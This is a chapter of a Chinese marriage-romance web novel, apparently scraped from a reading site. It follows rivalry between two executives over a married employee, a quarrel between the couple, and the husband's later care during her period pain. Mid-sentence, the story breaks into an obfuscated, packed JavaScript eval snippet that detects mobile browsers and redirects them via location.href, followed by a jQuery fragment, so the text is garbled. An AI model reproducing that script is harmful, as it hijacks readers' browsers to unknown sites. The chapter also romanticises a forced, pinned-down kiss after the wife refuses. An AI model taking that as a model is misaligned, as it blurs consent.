10. 吵架

作品:《偶阵雨[先婚后爱]

    傅景深平淡笑笑,“谢总日理万机,手下这么多员工,怎么会关注到每个下属的情况呢。”


    谢屿舟表面波澜不惊,“傅总都不是我司的员工,又是怎么认识我的人呢?”


    我的人,一个暧昧的词。


    桌子上方波涛汹涌,桌子下方暗流涌动。


    宋时微的脚被男人紧紧勾住,她无法动弹,又担心被同事发现。


    只能掏出手机,给始作俑者发信息,【你放开我。】


    傅景深偏头望了一眼宋时微,“相亲上见过。”


    宋时微连忙解释,“不是,是陪朋友相亲。”


    但是,无人在意她的话。


    谢屿舟接上傅景深的话,凌厉眼神扫过去,问:“那怎么没成?”


    傅景深幽幽道:“被人截胡。”


    “这样啊。”谢屿舟低头淡瞥手机,“是本身就没机会,并不是截胡吧。”


    男人放开了宋时微的脚。


    剑拔弩张的午饭,孟新允满脑子三个字,怎么办?怎么办?怎么办?


    撬墙角不是这样的啊。


    或许,是想给谢总添堵,以便压价。


    宋时微莫名成为靶子中心,一刻待不下去,拉着乔言心,面上不显,“我们吃饱了,先回去了,谢总、傅总慢用。”


    乔言心正有此意,连忙站起来告别。


    留下四个男人面面相觑,没有待下去的必要,结账散场。


    孟新允邀请傅景深,“傅总,这边请。”按道理合作方这样积极会很开心,他却充满了担忧。


    哪有寻求合作的一方这样对别人老婆的。


    门外,乔言心挽住宋时微的手臂,迅速逃离现场,她拍拍胸脯,“以后再也不和老板一起吃饭了,还两个老总,好吓人,我都没吃饱。”


    宋时微吃了八分饱,“走,我请你吃别的。”


    两个人去负一层找小吃。


    乔言心回想饭桌上的情况,望望四周,“老板和傅总有过节吗?感觉两个人说话夹枪带棒的。”


    宋时微打马虎眼,“没有吧。”


    乔言心心思单纯,“那可能是我多想了,可怜你,莫名其妙被连累。”


    “就是纯躺枪。”陪林以棠相亲前,宋时微没见过傅景深。


    她和谢屿舟,严格来说,算不上熟悉,不知道他的朋友有谁,更不清楚他和谁有过节。


    寰宇大厦顶层会客厅,傅景深带了项目书过来洽谈合作,诚意十足。


    “我们有原料基地,你们有销售渠道,强强联合,降低风险。”


    的确如此,傅家在南方有多个茶园基地,近年,不甘于为他人作嫁衣,一直谋求走向前端,市面上饮料竞争激烈,从头开始不如找个企业合作。


    谢屿舟浏览项目企划书,男人掀起黑眸,“的确很诱人,不过我挑选合作伙伴也看中人品。”


    傅景深装傻,“谢总大可放心,不偷不抢不做违法乱纪的事情。”


    “还有道德问题。”谢屿舟瞳仁聚焦,语气冷冽,“提醒傅总,宋时微已婚。”


    傅景深:“我和宋小姐只是朋友,谢总不要风声鹤唳。”


    四两拨千斤,一副坦坦荡荡的模样。


    “还是说谢总,并不知道自己的太太喝茶会失眠。”


    此言一出,室内陷入寂静,落针可闻。


    两个助理大气不敢出,借助余晖打量两位总经理。


    上位者的姿态要求他们无论面对各种境况,都要保持沉稳。


    看不出心里的真实想法。


    助理则不同,终究是嫩了点。


    孟新允的额头渗出冷汗,傅景深哪里是来谈合作,分明是故意找事。


    谢屿舟修长的手指轻点沙发扶手,不疾不徐道:“傅总太过于关心我的太太,让我有合理理由怀疑——你的合作动机。”


    傅景深笑笑,“动机就一个,赚钱。”


    “最好是。”谢屿舟抬起嶙峋手腕,看眼银灰色的表盘,“还有个会,不留傅总吃晚饭了。”


    傅景深主动伸出右手,“静候谢总的好消息。”


    谢屿舟回握,“期待合作。”


    孟新允看他们握手,脸上带着恰当的微笑,在心里感叹,还得是老板,云淡风轻波澜不惊需要他学很久。


    不一定能学会。


    除了新婚夜,后来的每一天,谢屿舟不到八点即到家。


    宋时微和他聊天少,谁都不是主动找话聊的性格。


    在高中亦如此,他们最多一起讨论题目。


    这番场景落在君姨眼中,不免多想,她活了大半辈子,竟看不出他们有没有感情。


    算了算了,年轻人的相处方式,她不懂。


    家里只剩下两个人,没有其他的声音。


    宋时微照常给谢屿舟拆纱布,烫伤逐步痊愈,长出新的皮肤。


    她买了祛疤的药膏,眼下尚未结痂,不能涂抹。


    冰凉的凝胶在手上化开,宋时微鼓足勇气开口,“你和傅景深有矛盾吗?”


    作为夫妻,多了解彼此的圈子,有利于增进感情。


    尤其是他们。


    “没有。”谢屿舟凝视眼前的妻子,“也许单纯是谢太太有魅力,引起旁人觊觎。”


    七年,她变了许多,曾经活泼的女生变成现在沉静的性格。


    女人换上棉质居家服,不施粉黛,头发用发圈扎成低马尾,显得温婉大方。


    高中时暗暗喜欢她的人很多,只是她一个都不知道。


    宋时微的手指顿在半空,“不可能,我很普通。”


    谢屿舟反问她,“质疑我选太太的眼光?”


    “不是。”短暂的停顿后,宋时微继续抹药膏,“我和他什么都没有,只在糖糖相亲见过一次。”


    她不是一个喜欢解释的人,真正信任你的人不需要解释。


    只是,她和谢屿舟之间,没有信任可言。


    “我看他挺了解你的,嗯?谢太太。”谢屿舟借玩笑口吻说出心里话,傅景深中午吃饭时,连他妻子的喜好都摸得清清楚楚。


    不仅仅是茶。


    宋时微当他说的是茶的事,“没有,茶是碰巧,很多人喝茶都会失眠。”


    谢屿舟的虎口钳住她的下巴,目光如炬,“以前你不会。”


    很多她的事情,他甚至没有别的男人了解。


    深深的无力感。


    宋时微垂头,“人都会变的。”


    是啊,她最擅长改变,前一晚抵死缠绵,和你讨论去哪里玩,第二天说消失就消失,没有留下一句话。


    七年过去,仿佛无事发生,再度出现在南城。


    谢屿舟:“如果我没有和你领证,你是不是就和他结婚了?”


    一瞬,宋时微抬起头,眨了眨眼睛,“原来你是这么想我,认为我是随便找一个人结婚。”


    她解释得足够多,他不信。


    她知道,不告而别让她在他的心里信任值为负。


    可是,当不信任变为现实,带来的是剜心的痛。


    谢屿舟步步紧逼,“难道不是吗?难不成是非我不可吗?”


    倏然,宋时微笑了一下,收起药膏,“是随便结婚,谢总,您满意了吗?”


    她的语气一如既往地温柔。


    但,温柔刀,刀刀致命。


    “很满意。”谢屿舟抽出她手里的药膏,丢在沙发角落。


    突然,宋时微被男人拽住手腕,她倒在沙发上,一道颀长的阴影从上方压下。


    她的嘴唇被他咬住。


    是啮咬、啃食,带着浓浓的惩罚意味。


    男人的舌尖探入进去,搅弄风雨。


    为什么好看的樱红的唇,总是说出伤人的话。


    既然这样,不如直接堵住。


    谢屿舟扣住宋时微的手掌,落下如暴风雨般的吻。


    裹挟着气愤的吻,男人故意用力顶进口腔。


    只在濒临窒息时稍稍松开宋时微的唇,渡给她空气。


    男人宽大炙热的手掌从衣服下摆探进去,想解开搭扣,他解不开,索性绕到上方。


    家居服的纽扣碍事,被他用另一只手解开。


    内衣肩带滑落到臂弯,头发凌乱,松松垮垮。


    宋时微和他较劲,用虎牙咬住他的唇,“不可以。”


    谢屿舟嗓音微哑,“我们是合法夫妻。”


    男人故意亲在她的耳垂,七年无人探访的敏感地带,女人本能颤抖。


    “看来你前夫是真不行。”


    宋时微咬住唇瓣,“他比你会尊重人。”


    谢屿舟的手掌死死锁住她的手腕,让她动弹不得,而他,一点一点舔她、吻她,从嘴唇到耳垂,埋首而下。


    像凌迟,慢慢折磨。


    宋时微的抿紧嘴唇,不让喉咙中的声音泄出来。


    谢屿舟伸出手指,分开她的上下唇瓣,“闭这么紧,怕暴露自己其实很享受吗?”


    宋时微顺势用力咬他的手指,“吻技太烂,这么多年一点长进都没有。”


    谢屿舟不恼怒,俯身亲她耳垂上的黑痣,“那是谁,一个吻就抖得不成样子。”


    “身体比嘴巴诚实多了。”


    宋时微咬在谢屿舟的手臂,留下一个深深的牙印。


    与男人指尖的牙印凑成一对。


    两个人谁都不愿让步,莽着劲较量,吻变了味道。


    微咸的腥气在口腔内蔓延。


    谢屿舟擦擦嘴角的齿痕,“我不做违法的事情。”


    即使是婚内,也要征求另一半的同意。


    隔着布料,“shi了。”


    他好心问她,“需要帮忙吗?”


    宋时微喘口气,凶狠狠瞪着他,“不用,谢总还是管好自己吧,别憋坏了。”


    明明自己处于下风,嘴上仍不饶人,不愿认输。


    谢屿舟勾了下唇,“放心,不会坏,你有得用。”


    他说不动她,真的没有动她。


    只是,强势抱着她睡觉,双臂箍住她的腰身。


    宋时微快要喘不过来气,出声斥他,“你勒到我了。”


    谢屿舟堪堪松开丁点力度。


    — —


    翌日一早,程清安发了一份修改过N+1版的方案在工作群里,【下个季度的营销推广方案,你们再检查一遍,看看有没有不对的地方。】


    之前羡慕策划部其他组被领导重视,轮到自己后才发现是折磨局。


    乔言心看到PPT,快要吐了,里面每个数据她快如数家珍。


    她左右晃晃,看到宋时微,吓了一跳,“微微,你怎么了?”


    原本白里透红的脸现在煞白,表情痛苦。


    宋时微勉强露出笑容,“来月经了。”果然女人不能生气,这次痛经比之前更严重。


    都怨谢屿舟,冤枉她是随便结婚。


    乔言心担忧道:“那你趴一会。”


    宋时微努力打起精神,“没事,第三页的数据和第十页的对不上,看看是哪里的问题,还有谢总估计会关心接下来半年的计划,以及我们和其他品牌的差异在哪里。”


    乔言心:“你也太拼了。”


    宋时微努力克


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15478925|169983||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    服痛经,尽量清晰条理说完,“老谢总不注重饮料线,走稳扎稳打的路线,谢总不一样,传统的地产没落,他需要寻找另一个出路,饮料再好不过,有资源有名气,稍微用点力,可能会事半功倍,当然这是我猜的,以防他提问。”


    她在书房里看见谢屿舟研究其他品牌,加之,她调查过傅景深的资料,大概猜出来他们大概的合作方向,秉着万一就是饮料呢,做了一些功课。


    宋时微又说:“我给安姐发了一份PPT,她看一眼就能明白。”


    “好,我记住了。”乔言心:“你告诉我这么多,不怕我抢你功劳啊。”


    宋时微:“你抢呗,反正不流外人田。”


    “你也太好了。”乔言心去找程清安,说明缘由,“安姐,微微生理期太痛了,参加不了会议。”


    程清安拉开抽屉,找到药品,“没关系,我有布洛芬,你拿给她,和她说假批了,让她赶紧回家休息。”


    “好。”乔言心原封不动将宋时微的猜想转达,“微微说,备用。”


    “嗯,我知道了。”有些想法和她不谋而合,不愧是她面试时第一眼看中的人。


    “微微,安姐让你快回家,对了,你先吃药。”


    宋时微对这个牌子的布洛芬产生抗药性,吃了没什么缓解,但还是试试。


    自从大学做了水族馆的兼职,落下了痛经的毛病,比普通痛经痛上百倍。


    乔言心帮她收拾包,“你一个人可以吗?”


    宋时微强撑身体,“没事,我打车,很快到家。”司机下午忙别的事,距离市区几十公里,短时间内无法赶回。


    至于合法丈夫,不在求助范围内。


    乔言心:“还有几分钟才开始,我送你上车。”


    老板亲自审核方案,策划部个个打起十二分的精神,坐在会议室紧盯玻璃门。


    不多时,门从外拉开,挺拔的身姿踏入。


    悬在头顶上方的剑落下来了。


    谢屿舟坐在最前方,扫视一圈,没有看到宋时微,他抬眸瞥一眼孟新允。


    孟新允接收到信号,问:“人到齐了吗?”


    程清安:“除了宋时微,她生理期太痛,请假了,谢总,放心,没有耽误工作。”


    之前部门的男领导非常不喜欢女员工因为这个原因请假,不是女人无法感同身受。


    “身体更重要。”谢屿舟的眼睛里闪过一丝异样,很快转为正常,淡声道:“开始吧。”


    程清安汇报报告。


    主位男人的手指轻点桌面,时不时看下时间,她摸不清他的看法。


    半晌,谢屿舟沉声说:“推广方向过于保守,和市面上的没什么区别,三季度是销售高峰期,不把握住机会,再守旧下去,恐怕会被替代。”


    一款产品只靠情怀是走不下去的,还要与时进步的创新。


    程清安大着胆子开口,“谢总,除了季度推广方案,还有一份分析报告。”


    宋时微临走前发给她的PPT派上了用场。


    程清安作为职场老手,断会察言观色,老板脸上仍有焦灼的神情,但比刚刚缓和很多。


    那就是还可以的意思。


    “主要是宋时微的想法,”程清安不会抢下属的功劳。


    自己淋过雨,不会撕了别人的伞。


    谢屿舟颔首示意,他抬手交代孟新允几件事,离开了会议室。


    孟新允:“我们继续讨论。”


    老板离开,其余人松了一口气,敢于提出自己的想法,讨论速度快了许多。


    孟新允遵从老板的意思,去到另一层和人事总监沟通假期的事情。


    当即在OA中发布公告。


    【即日起,公司女员工每月一天经期带薪休假,系统已开通,可直接申请。】


    公司的女员工自然很开心,新老板有人性。


    身为打工人,要的并不多,满足合理诉求上班才有动力。


    乔言心记挂宋时微,将开会以及假期的事一一告知,【微微,你怎么样?老板结了婚是不一样,太贴心了。】


    宋时微玩种菜的游戏,转移注意力,【好一点了。】


    原来,谢屿舟不是那么无情。


    身为老板,他是合格,身为老公,勉勉强强。


    大门开启,谢屿舟问君姨,“太太呢?”


    “在房间里,吃了药躺下了。”君姨锅上炖着汤,“先生,太太痛经怎么这么严重,回来的时候都快晕倒了。”


    “我去看看。”谢屿舟挽起衬衫袖口,“热水袋有吗?”


    “微微拿过了,我熬了红枣桂圆,看看能不能有点用。”


    谢屿舟端了汤,听君姨在身后唠叨。


    “这样治标不治本啊,最好找医生调理,痛经痛起来要命的。”


    “我知道了。”她以前不会这么痛,每次给她带的布洛芬根本用不到,生理期照常跑800米。


    发生了什么,性格与身体发生这么大的变化。


    房门打开,宋时微听见熟悉的脚步声,迅速放下手机,背对他佯装睡觉。


    谢屿舟看出她的假寐,他将汤羹放在床头,没有说话。


    男人掀开被子躺了进去,温热的掌心放在女人的小腹,生疏地轻揉。


    宋时微制止他的动作,“不麻烦谢总。”


    他们没有作为情侣相处过,一步迈进夫妻关系,承受不住他突如其来的温柔。


    “宋时微,你……”能不能别逞强?


    谢屿舟咽下去后半句话。


    男人顿了顿,语气软了下去,“还痛吗?”